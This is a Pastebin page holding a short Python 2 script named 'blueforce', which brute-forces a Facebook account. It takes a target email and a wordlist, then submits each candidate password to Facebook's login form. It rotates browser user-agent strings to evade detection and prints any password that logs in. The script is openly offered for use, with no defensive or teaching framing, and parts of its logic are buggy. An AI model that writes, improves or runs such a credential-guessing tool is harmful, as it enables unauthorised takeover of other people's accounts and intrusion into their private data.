Advertisement
Klamardo

blueforce

Dec 10th, 2019
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.19 KB | None | 0 0
  1. import os,sys,mechanize,cookielib,random,time
  2.  
  3. email = raw_input("Email : ")
  4. dic = raw_input("\nWordlist : ")
  5. login = 'https://www.facebook.com/login.php?login_attempt=1'
  6. useragents = [('Mozilla/5.0 (X11; Linux i686; rv:64.0) Gecko/20100101 Firefox/64.0',"Mozilla/5.0 (X11; Linux i586; rv:63.0) Gecko/20100101 Firefox/63.0","    Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:62.0) Gecko/20100101 Firefox/62.0","    Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.13; ko; rv:1.9.1b2) Gecko/20081201 Firefox/60.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/58.0","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/51.0","")]
  7.  
  8. def main():
  9.         global br
  10.         br = mechanize.Browser()
  11.         cj = cookielib.LWPCookieJar()
  12.         br.set_handle_robots(False)
  13.         br.set_handle_redirect(True)
  14.         br.set_cookiejar(cj)
  15.         br.set_handle_equiv(True)
  16.         br.set_handle_referer(True)
  17.         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  18.         inicio()
  19.         inicio2()
  20.         print("\nPossible Password Found : \033[34m {}".format(password))
  21.         print("\n\033[0;1mPassword Not Found")
  22.         time.sleep(1)
  23.        
  24.  
  25.                        
  26. def buscar(password):
  27.        
  28.        
  29.         print("\ntesting password - {}".format(password))
  30.         br.addheaders = [('User-agent', random.choice(useragents))]
  31.         site = br.open(login)
  32.         br.select_form(nr = 0)
  33.         br.form['email'] = email
  34.         br.form['pass'] = password
  35.         sub = br.submit()
  36.         log = sub.geturl()
  37.         if log != login and (not 'login_attempt' in log):
  38.                         print("\nPassword Found :\033[34m {}".format(password))
  39.                         sys.exit(1)
  40.                        
  41. def inicio2():
  42.         global password
  43.         password2 = open(dic,"r")
  44.         for password in password2:
  45.                 password2 = password.replace("\n","")
  46.                 buscar(password)
  47. def inicio():
  48.  
  49.         dic2 = open(dic,"r")
  50.         dic2 = dic2.readlines()
  51. if __name__ == '__main__':
  52.  main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement